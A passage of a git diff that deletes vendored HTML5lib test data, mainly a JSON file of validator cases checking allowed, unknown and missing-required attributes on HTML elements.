-| <body>
-
-#data
-<html><frameset></frameset></html> 
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|   " "
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/attributes.test b/attic/vendor/plugins/HTML5lib/testdata/validator/attributes.test
deleted file mode 100755
index 2815976b..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/attributes.test
+++ /dev/null
@@ -1,1035 +0,0 @@
-{"tests": [
-
-{"description": "allowed 'class' attribute on <span>",
-"input": "<span class>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'contenteditable' attribute on <span>",
-"input": "<span contenteditable>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'contextmenu' attribute on <span>",
-"input": "<span contextmenu>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'dir' attribute on <span>",
-"input": "<span dir>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'draggable' attribute on <span>",
-"input": "<span draggable>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'id' attribute on <span>",
-"input": "<span id>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'irrelevant' attribute on <span>",
-"input": "<span irrelevant>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'lang' attribute on <span>",
-"input": "<span lang>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ref' attribute on <span>",
-"input": "<span ref>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'tabindex' attribute on <span>",
-"input": "<span tabindex>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'template' attribute on <span>",
-"input": "<span template>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'title' attribute on <span>",
-"input": "<span title>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onabort' attribute on <span>",
-"input": "<span onabort>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onbeforeunload' attribute on <span>",
-"input": "<span onbeforeunload>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onblur' attribute on <span>",
-"input": "<span onblur>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onchange' attribute on <span>",
-"input": "<span onchange>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onclick' attribute on <span>",
-"input": "<span onclick>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'oncontextmenu' attribute on <span>",
-"input": "<span oncontextmenu>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondblclick' attribute on <span>",
-"input": "<span ondblclick>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondrag' attribute on <span>",
-"input": "<span ondrag>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondragend' attribute on <span>",
-"input": "<span ondragend>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondragenter' attribute on <span>",
-"input": "<span ondragenter>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondragleave' attribute on <span>",
-"input": "<span ondragleave>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondragover' attribute on <span>",
-"input": "<span ondragover>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondragstart' attribute on <span>",
-"input": "<span ondragstart>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ondrop' attribute on <span>",
-"input": "<span ondrop>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onerror' attribute on <span>",
-"input": "<span onerror>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onfocus' attribute on <span>",
-"input": "<span onfocus>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onkeydown' attribute on <span>",
-"input": "<span onkeydown>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onkeypress' attribute on <span>",
-"input": "<span onkeypress>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onkeyup' attribute on <span>",
-"input": "<span onkeyup>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onload' attribute on <span>",
-"input": "<span onload>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmessage' attribute on <span>",
-"input": "<span onmessage>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmousedown' attribute on <span>",
-"input": "<span onmousedown>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmousemove' attribute on <span>",
-"input": "<span onmousemove>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmouseout' attribute on <span>",
-"input": "<span onmouseout>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmouseover' attribute on <span>",
-"input": "<span onmouseover>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmouseup' attribute on <span>",
-"input": "<span onmouseup>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onmousewheel' attribute on <span>",
-"input": "<span onmousewheel>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onresize' attribute on <span>",
-"input": "<span onresize>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onscroll' attribute on <span>",
-"input": "<span onscroll>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onselect' attribute on <span>",
-"input": "<span onselect>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onsubmit' attribute on <span>",
-"input": "<span onsubmit>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onunload' attribute on <span>",
-"input": "<span onunload>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <command>",
-"input": "<command type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'label' attribute on <command>",
-"input": "<command label>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'icon' attribute on <command>",
-"input": "<command icon>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'hidden' attribute on <command>",
-"input": "<command hidden>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <command>",
-"input": "<command disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'checked' attribute on <command>",
-"input": "<command checked>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'radiogroup' attribute on <command>",
-"input": "<command radiogroup>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'default' attribute on <command>",
-"input": "<command default>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'value' attribute on <meter>",
-"input": "<meter value>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'min' attribute on <meter>",
-"input": "<meter min>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'low' attribute on <meter>",
-"input": "<meter low>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'high' attribute on <meter>",
-"input": "<meter high>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'max' attribute on <meter>",
-"input": "<meter max>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'optimum' attribute on <meter>",
-"input": "<meter optimum>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'cite' attribute on <ins>",
-"input": "<ins cite>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'datetime' attribute on <ins>",
-"input": "<ins datetime>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'multiple' attribute on <datagrid>",
-"input": "<datagrid multiple>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <datagrid>",
-"input": "<datagrid disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <meta>",
-"input": "<meta name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'http-equiv' attribute on <meta>",
-"input": "<meta http-equiv>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'content' attribute on <meta>",
-"input": "<meta content>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'charset' attribute on <meta>",
-"input": "<meta charset>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <video>",
-"input": "<video src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'autoplay' attribute on <video>",
-"input": "<video autoplay>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'start' attribute on <video>",
-"input": "<video start>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'loopstart' attribute on <video>",
-"input": "<video loopstart>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'loopend' attribute on <video>",
-"input": "<video loopend>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'end' attribute on <video>",
-"input": "<video end>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'loopcount' attribute on <video>",
-"input": "<video loopcount>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'controls' attribute on <video>",
-"input": "<video controls>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'style' attribute on <font>",
-"input": "<font style>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'media' attribute on <style>",
-"input": "<style media>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <style>",
-"input": "<style type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'scoped' attribute on <style>",
-"input": "<style scoped>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'alt' attribute on <img>",
-"input": "<img alt>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <img>",
-"input": "<img src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'usemap' attribute on <img>",
-"input": "<img usemap>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ismap' attribute on <img>",
-"input": "<img ismap>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'height' attribute on <img>",
-"input": "<img height>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'width' attribute on <img>",
-"input": "<img width>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'alt' attribute on <area>",
-"input": "<area alt>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'coords' attribute on <area>",
-"input": "<area coords>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'shape' attribute on <area>",
-"input": "<area shape>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'href' attribute on <area>",
-"input": "<area href>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'target' attribute on <area>",
-"input": "<area target>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ping' attribute on <area>",
-"input": "<area ping>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'rel' attribute on <area>",
-"input": "<area rel>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'media' attribute on <area>",
-"input": "<area media>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'hreflang' attribute on <area>",
-"input": "<area hreflang>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <area>",
-"input": "<area type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <menu>",
-"input": "<menu type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'label' attribute on <menu>",
-"input": "<menu label>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'autosubmit' attribute on <menu>",
-"input": "<menu autosubmit>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <param>",
-"input": "<param name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'value' attribute on <param>",
-"input": "<param value>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'value' attribute on <li>",
-"input": "<li value>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <source>",
-"input": "<source src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <source>",
-"input": "<source type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'media' attribute on <source>",
-"input": "<source media>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'xmlns' attribute on <html>",
-"input": "<html xmlns>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'open' attribute on <details>",
-"input": "<details open>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'colspan' attribute on <th>",
-"input": "<th colspan>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'rowspan' attribute on <th>",
-"input": "<th rowspan>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'scope' attribute on <th>",
-"input": "<th scope>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'value' attribute on <progress>",
-"input": "<progress value>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'max' attribute on <progress>",
-"input": "<progress max>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'colspan' attribute on <td>",
-"input": "<td colspan>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'rowspan' attribute on <td>",
-"input": "<td rowspan>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'cite' attribute on <blockquote>",
-"input": "<blockquote cite>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'data' attribute on <object>",
-"input": "<object data>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <object>",
-"input": "<object type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'usemap' attribute on <object>",
-"input": "<object usemap>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'height' attribute on <object>",
-"input": "<object height>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'width' attribute on <object>",
-"input": "<object width>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'height' attribute on <canvas>",
-"input": "<canvas height>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'width' attribute on <canvas>",
-"input": "<canvas width>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'href' attribute on <base>",
-"input": "<base href>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'target' attribute on <base>",
-"input": "<base target>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'href' attribute on <link>",
-"input": "<link href>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'rel' attribute on <link>",
-"input": "<link rel>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'media' attribute on <link>",
-"input": "<link media>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'hreflang' attribute on <link>",
-"input": "<link hreflang>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <link>",
-"input": "<link type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'href' attribute on <a>",
-"input": "<a href>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'target' attribute on <a>",
-"input": "<a target>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'ping' attribute on <a>",
-"input": "<a ping>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'rel' attribute on <a>",
-"input": "<a rel>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'media' attribute on <a>",
-"input": "<a media>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'hreflang' attribute on <a>",
-"input": "<a hreflang>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <a>",
-"input": "<a type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <event-source>",
-"input": "<event-source src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'start' attribute on <ol>",
-"input": "<ol start>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'span' attribute on <colgroup>",
-"input": "<colgroup span>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <script>",
-"input": "<script src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'defer' attribute on <script>",
-"input": "<script defer>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'async' attribute on <script>",
-"input": "<script async>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <script>",
-"input": "<script type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'cite' attribute on <q>",
-"input": "<q cite>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'cite' attribute on <del>",
-"input": "<del cite>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'datetime' attribute on <del>",
-"input": "<del datetime>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <iframe>",
-"input": "<iframe src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'datetime' attribute on <time>",
-"input": "<time datetime>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'src' attribute on <audio>",
-"input": "<audio src>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'autoplay' attribute on <audio>",
-"input": "<audio autoplay>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'start' attribute on <audio>",
-"input": "<audio start>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'loopstart' attribute on <audio>",
-"input": "<audio loopstart>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'loopend' attribute on <audio>",
-"input": "<audio loopend>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'end' attribute on <audio>",
-"input": "<audio end>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'loopcount' attribute on <audio>",
-"input": "<audio loopcount>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'controls' attribute on <audio>",
-"input": "<audio controls>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'span' attribute on <col>",
-"input": "<col span>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <fieldset>",
-"input": "<fieldset disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'form' attribute on <fieldset>",
-"input": "<fieldset form>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onsubmit' attribute on <form>",
-"input": "<form onsubmit>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <form>",
-"input": "<form name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onreset' attribute on <form>",
-"input": "<form onreset>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'accept' attribute on <form>",
-"input": "<form accept>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'replace' attribute on <form>",
-"input": "<form replace>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'accept-charset' attribute on <form>",
-"input": "<form accept-charset>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'action' attribute on <form>",
-"input": "<form action>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'data' attribute on <form>",
-"input": "<form data>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'method' attribute on <form>",
-"input": "<form method>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'enctype' attribute on <form>",
-"input": "<form enctype>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'rows' attribute on <textarea>",
-"input": "<textarea rows>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <textarea>",
-"input": "<textarea name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'form' attribute on <textarea>",
-"input": "<textarea form>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'required' attribute on <textarea>",
-"input": "<textarea required>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'cols' attribute on <textarea>",
-"input": "<textarea cols>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'accept' attribute on <textarea>",
-"input": "<textarea accept>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <textarea>",
-"input": "<textarea disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'readonly' attribute on <textarea>",
-"input": "<textarea readonly>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'wrap' attribute on <textarea>",
-"input": "<textarea wrap>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'autofocus' attribute on <textarea>",
-"input": "<textarea autofocus>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'maxlength' attribute on <textarea>",
-"input": "<textarea maxlength>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'a' attribute on <datalist>",
-"input": "<datalist a>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "allowed 'd' attribute on <datalist>",
-"input": "<datalist d>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "allowed 't' attribute on <datalist>",
-"input": "<datalist t>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "allowed 'action' attribute on <button>",
-"input": "<button action>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'enctype' attribute on <button>",
-"input": "<button enctype>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'method' attribute on <button>",
-"input": "<button method>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'replace' attribute on <button>",
-"input": "<button replace>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'template' attribute on <button>",
-"input": "<button template>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <button>",
-"input": "<button name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'form' attribute on <button>",
-"input": "<button form>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'value' attribute on <button>",
-"input": "<button value>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <button>",
-"input": "<button disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'autofocus' attribute on <button>",
-"input": "<button autofocus>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'type' attribute on <button>",
-"input": "<button type>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'accesskey' attribute on <label>",
-"input": "<label accesskey>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'form' attribute on <label>",
-"input": "<label form>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'for' attribute on <label>",
-"input": "<label for>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <optgroup>",
-"input": "<optgroup disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'label' attribute on <optgroup>",
-"input": "<optgroup label>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onforminput' attribute on <output>",
-"input": "<output onforminput>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'onformchange' attribute on <output>",
-"input": "<output onformchange>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <output>",
-"input": "<output name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'form' attribute on <output>",
-"input": "<output form>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'for' attribute on <output>",
-"input": "<output for>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'multiple' attribute on <select>",
-"input": "<select multiple>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'name' attribute on <select>",
-"input": "<select name>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'form' attribute on <select>",
-"input": "<select form>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'accesskey' attribute on <select>",
-"input": "<select accesskey>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <select>",
-"input": "<select disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'autofocus' attribute on <select>",
-"input": "<select autofocus>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'data' attribute on <select>",
-"input": "<select data>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'size' attribute on <select>",
-"input": "<select size>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'selected' attribute on <option>",
-"input": "<option selected>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'value' attribute on <option>",
-"input": "<option value>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'label' attribute on <option>",
-"input": "<option label>",
-"fail-if": "unknown-attribute"},
-
-{"description": "allowed 'disabled' attribute on <option>",
-"input": "<option disabled>",
-"fail-if": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <command>",
-"input": "<command foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <meter>",
-"input": "<meter foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <ins>",
-"input": "<ins foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <datagrid>",
-"input": "<datagrid foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <meta>",
-"input": "<meta foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <video>",
-"input": "<video foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <font>",
-"input": "<font foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <style>",
-"input": "<style foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <img>",
-"input": "<img foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <area>",
-"input": "<area foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <menu>",
-"input": "<menu foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <param>",
-"input": "<param foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <li>",
-"input": "<li foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <source>",
-"input": "<source foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <html>",
-"input": "<html foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <details>",
-"input": "<details foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <th>",
-"input": "<th foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <progress>",
-"input": "<progress foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <td>",
-"input": "<td foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <blockquote>",
-"input": "<blockquote foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <object>",
-"input": "<object foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <canvas>",
-"input": "<canvas foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <base>",
-"input": "<base foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <link>",
-"input": "<link foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <a>",
-"input": "<a foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <event-source>",
-"input": "<event-source foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <ol>",
-"input": "<ol foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <colgroup>",
-"input": "<colgroup foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <script>",
-"input": "<script foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <q>",
-"input": "<q foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <del>",
-"input": "<del foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <iframe>",
-"input": "<iframe foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <time>",
-"input": "<time foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <audio>",
-"input": "<audio foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <col>",
-"input": "<col foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "missing required 'href' attribute on <link>",
-"input": "<link rel>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'rel' attribute on <link>",
-"input": "<link href>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'dir' attribute on <bdo>",
-"input": "<bdo>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'src' attribute on <img>",
-"input": "<img>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'src' attribute on <embed>",
-"input": "<embed>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'name' attribute on <param>",
-"input": "<param value>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'value' attribute on <param>",
-"input": "<param name>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'src' attribute on <source>",
-"input": "<source>",
-"fail-unless": "missing-required-attribute"},
-
-{"description": "missing required 'id' attribute on <map>",
-"input": "<map>",
-"fail-unless": "missing-required-attribute"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/base-href-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/base-href-attribute.test
deleted file mode 100755
index 83a626a7..00000000
